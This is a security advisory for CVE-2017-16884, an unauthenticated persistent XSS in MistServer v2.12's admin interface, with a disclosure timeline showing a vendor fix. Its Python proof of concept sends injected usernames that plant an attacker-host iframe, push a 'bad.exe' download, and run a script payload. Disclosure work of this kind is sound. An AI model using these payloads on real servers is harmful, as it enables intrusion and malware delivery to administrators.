[+] Credits: John Page (aka Hyp3rlinX)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt
[+] ISR: ApparitionSec           
 

Vendor:
=============
mistserver.org

Product:
===========
MistServer v2.12

MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming).

Vulnerability Type:
===================
Unauthenticated Persistent XSS

CVE Reference:
==============
CVE-2017-16884

Security Issue:
================
Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. Attacker supplied payloads will
get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads in Mist Servers Web interface
automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied code.

References:
============
https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21

Exploit/POC:
=============
import requests

#INJECT IFRAME
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP\'></iframe>"}}')

#PUSH MALWARE
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP/bad.exe\'></iframe>"}}')

#EXFIL LOGS
requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":"<script>alert(document.body.innerHTML)</script>"}}')

Network Access:
===============
Remote

Severity:
=========
High

Disclosure Timeline:
=============================
Vendor Notification:  October 19, 2017
Vendor Acknowledgement : October 20, 2017
Vendor Released Fix : November 30, 2017
December 1, 2017 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx